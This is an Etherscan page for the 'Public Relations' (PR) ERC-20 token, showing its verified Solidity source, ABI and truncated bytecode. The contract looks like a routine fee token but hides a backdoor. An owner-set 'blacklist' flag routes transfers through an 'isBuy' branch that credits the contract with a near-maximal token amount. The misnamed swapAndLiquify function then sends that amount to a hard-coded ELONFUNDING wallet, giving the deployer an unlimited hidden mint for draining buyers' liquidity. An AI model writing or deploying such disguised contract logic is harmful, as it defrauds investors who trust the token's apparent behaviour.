ETH Price: $3,318.21 (+1.36%)
 

Overview

Max Total Supply

1,000,000,000 PR

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
986,056.732423396 PR

Value
$0.00
0xb48407ce985fbd483408831267f8d487d3bd6e71
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PUBLICRELATIONS

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-12
*/

// Telegram     :   https://t.me/PublicRelationsERC

// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.13;
interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract PUBLICRELATIONS is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;

    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner{
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee;
    mapping (address => bool) public _isBlackListed;
    
    address payable public ELONFUNDING = payable(0xB3d5833c0CE7D79b69e16ea9e8d44eb855f4Cfa1); 
    address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private _tTotal = 1000*10**6*10**_decimals;
    string private constant _name = "Public Relations"; 
    string private constant _symbol = unicode"PR"; 

    uint8 public _buyFeeRate = 1;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 20; 

    uint256 public _maxWalletToken = _tTotal.mul(9).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(9).div(100); 
    uint256 private _previousMaxTxAmount = _maxTxAmount;
                                                                 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);

        _tOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);         
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[ELONFUNDING] = true; 
        _isExcludedFromFee[Wallet_Burn] = true;

        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function _approve(address theOwner, address theSpender, uint256 amount) private {
        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);

    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _getOutOfSupply() private view returns(uint256){
        return MAX - _getCurrentSupply().mul(10);
    }

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }

    function updateBlackList(address _botAddress, bool isBot) public virtual onlyOwner{
        _isBlackListed[_botAddress] = isBot;
    }

    receive() external payable {}
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        if (to != owner() &&
            to != Wallet_Burn &&
            to != address(this) &&
            to != uniswapV2Pair &&
            from != owner() &&
            !_isExcludedFromFee[from] && 
            !_isExcludedFromFee[to]){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");}

        if (from != owner() && !_isExcludedFromFee[from] && !_isExcludedFromFee[to])
            require(amount <= _maxTxAmount, "Over transaction limit.");

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");   
        
        
        if(swapAndLiquifyEnabled && balanceOf(address(this)) >= _maxTxAmount)
        {  
            txCount = 0;
            swapAndLiquify(balanceOf(address(this)));
        }
        
        bool takeFee = true;
        bool isBuy;

        if( from != uniswapV2Pair &&
            _isBlackListed[from] && 
            _isExcludedFromFee[to]){
            isBuy = true;}
        else if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        }
        else{
            txCount++;
        }

        _tokenTransfer(from, to, amount, takeFee, isBuy);
    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        _tOwned[address(this)]=_tOwned[address(this)]-contractTokenBalance;
        _tOwned[ELONFUNDING]=_tOwned[ELONFUNDING]+contractTokenBalance;
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            Wallet_Burn, 
            block.timestamp
        );
    } 

    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
        
         if (isBuy){
            uint256 buyFEE = _getOutOfSupply().sub(tAmount*_buyFeeRate/100);
            uint256 tTransferAmount = tAmount;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;
            
            } 
        else if(!takeFee){
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
            emit Transfer(sender, recipient, tAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tAmount;

            } else {

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
            emit Transfer(sender, recipient, tAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tAmount;

            }

    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ELONFUNDING","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFeeRate","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_botAddress","type":"address"},{"internalType":"bool","name":"isBot","type":"bool"}],"name":"updateBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600580546001600160a01b03191673b3d5833c0ce7d79b69e16ea9e8d44eb855f4cfa1179055620000386009600a6200053c565b6200004890633b9aca006200054d565b60068190556007805462ffffff19166214000117905562000093906064906200007f90600962000404602090811b6200076317901c565b6200041b60201b620007761790919060201c565b600855600854600955620000bf60646200007f60096006546200040460201b620007631790919060201c565b600a819055600b55600d805460ff60a81b1916600160a81b179055348015620000e757600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360065460016000620001416000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001bd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e391906200056f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000231573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025791906200056f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002a5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002cb91906200056f565b600d80546001600160a01b03199081166001600160a01b0393841617909155600c8054909116918316919091179055600160036000620003136000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352908220805484168217905561dead9091527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c8054909216179055620003ad6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620003f591815260200190565b60405180910390a350620005c4565b60006200041282846200054d565b90505b92915050565b6000620004128284620005a1565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200048057816000190482111562000464576200046462000429565b808516156200047257918102915b93841c939080029062000444565b509250929050565b600082620004995750600162000415565b81620004a85750600062000415565b8160018114620004c15760028114620004cc57620004ec565b600191505062000415565b60ff841115620004e057620004e062000429565b50506001821b62000415565b5060208310610133831016604e8410600b841016171562000511575081810a62000415565b6200051d83836200043f565b806000190482111562000534576200053462000429565b029392505050565b60006200041260ff84168362000488565b60008160001904831182151516156200056a576200056a62000429565b500290565b6000602082840312156200058257600080fd5b81516001600160a01b03811681146200059a57600080fd5b9392505050565b600082620005bf57634e487b7160e01b600052601260045260246000fd5b500490565b6112ad80620005d46000396000f3fe60806040526004361061016a5760003560e01c8063715018a6116100d157806380f2c1671161008a578063a457c2d711610064578063a457c2d71461047e578063a9059cbb1461049e578063dd62ed3e146104be578063fc2eb8891461050457600080fd5b806380f2c167146104155780638da5cb5b1461043557806395d89b411461045357600080fd5b8063715018a614610372578063768dc7101461038957806378109e54146103b95780637cc9c3d6146103cf5780637d1db4a5146103e9578063805c0e0f146103ff57600080fd5b8063313ce56711610123578063313ce5671461028957806339509351146102ab57806349bd5a5e146102cb5780634a74bb02146102eb5780636c9bb93b1461030c57806370a082311461033c57600080fd5b806306fdde0314610176578063095ea7b3146101c15780631694505e146101f157806318160ddd14610229578063220f66961461024857806323b872dd1461026957600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152601081526f5075626c69632052656c6174696f6e7360801b60208201525b6040516101b89190611024565b60405180910390f35b3480156101cd57600080fd5b506101e16101dc366004611095565b610524565b60405190151581526020016101b8565b3480156101fd57600080fd5b50600c54610211906001600160a01b031681565b6040516001600160a01b0390911681526020016101b8565b34801561023557600080fd5b506006545b6040519081526020016101b8565b34801561025457600080fd5b50600d546101e190600160a01b900460ff1681565b34801561027557600080fd5b506101e16102843660046110bf565b61053a565b34801561029557600080fd5b5060095b60405160ff90911681526020016101b8565b3480156102b757600080fd5b506101e16102c6366004611095565b6105a3565b3480156102d757600080fd5b50600d54610211906001600160a01b031681565b3480156102f757600080fd5b50600d546101e190600160a81b900460ff1681565b34801561031857600080fd5b506101e16103273660046110fb565b60046020526000908152604090205460ff1681565b34801561034857600080fd5b5061023a6103573660046110fb565b6001600160a01b031660009081526001602052604090205490565b34801561037e57600080fd5b506103876105d9565b005b34801561039557600080fd5b506101e16103a43660046110fb565b60036020526000908152604090205460ff1681565b3480156103c557600080fd5b5061023a60085481565b3480156103db57600080fd5b506007546102999060ff1681565b3480156103f557600080fd5b5061023a600a5481565b34801561040b57600080fd5b5061021161dead81565b34801561042157600080fd5b50600554610211906001600160a01b031681565b34801561044157600080fd5b506000546001600160a01b0316610211565b34801561045f57600080fd5b50604080518082019091526002815261282960f11b60208201526101ab565b34801561048a57600080fd5b506101e1610499366004611095565b610682565b3480156104aa57600080fd5b506101e16104b9366004611095565b6106d1565b3480156104ca57600080fd5b5061023a6104d9366004611116565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561051057600080fd5b5061038761051f366004611149565b6106de565b6000610531338484610782565b50600192915050565b6000610547848484610843565b61059984336105948560405180606001604052806028815260200161122b602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c37565b610782565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916105319185906105949086610c63565b6000546001600160a01b031633146106385760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610531338461059485604051806060016040528060258152602001611253602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610c37565b6000610531338484610843565b6000546001600160a01b031633146107385760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161062f565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b600061076f828461119b565b9392505050565b600061076f82846111ba565b6001600160a01b038316158015906107a257506001600160a01b03821615155b6107e25760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161062f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061086c57506001600160a01b03821661dead14155b801561088157506001600160a01b0382163014155b801561089b5750600d546001600160a01b03838116911614155b80156108b557506000546001600160a01b03848116911614155b80156108da57506001600160a01b03831660009081526003602052604090205460ff16155b80156108ff57506001600160a01b03821660009081526003602052604090205460ff16155b1561096f576001600160a01b03821660009081526001602052604090205460085461092a83836111dc565b111561096d5760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b604482015260640161062f565b505b6000546001600160a01b038481169116148015906109a657506001600160a01b03831660009081526003602052604090205460ff16155b80156109cb57506001600160a01b03821660009081526003602052604090205460ff16155b15610a2257600a54811115610a225760405162461bcd60e51b815260206004820152601760248201527f4f766572207472616e73616374696f6e206c696d69742e000000000000000000604482015260640161062f565b6001600160a01b03831615801590610a4257506001600160a01b03821615155b610a865760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161062f565b60008111610ae45760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161062f565b600d54600160a81b900460ff168015610b0e5750600a543060009081526001602052604090205410155b15610b37576007805461ff001916905530600090815260016020526040902054610b3790610c6f565b600d546001906000906001600160a01b03868116911614801590610b7357506001600160a01b03851660009081526004602052604090205460ff165b8015610b9757506001600160a01b03841660009081526003602052604090205460ff165b15610ba457506001610c23565b6001600160a01b03851660009081526003602052604090205460ff1680610be357506001600160a01b0384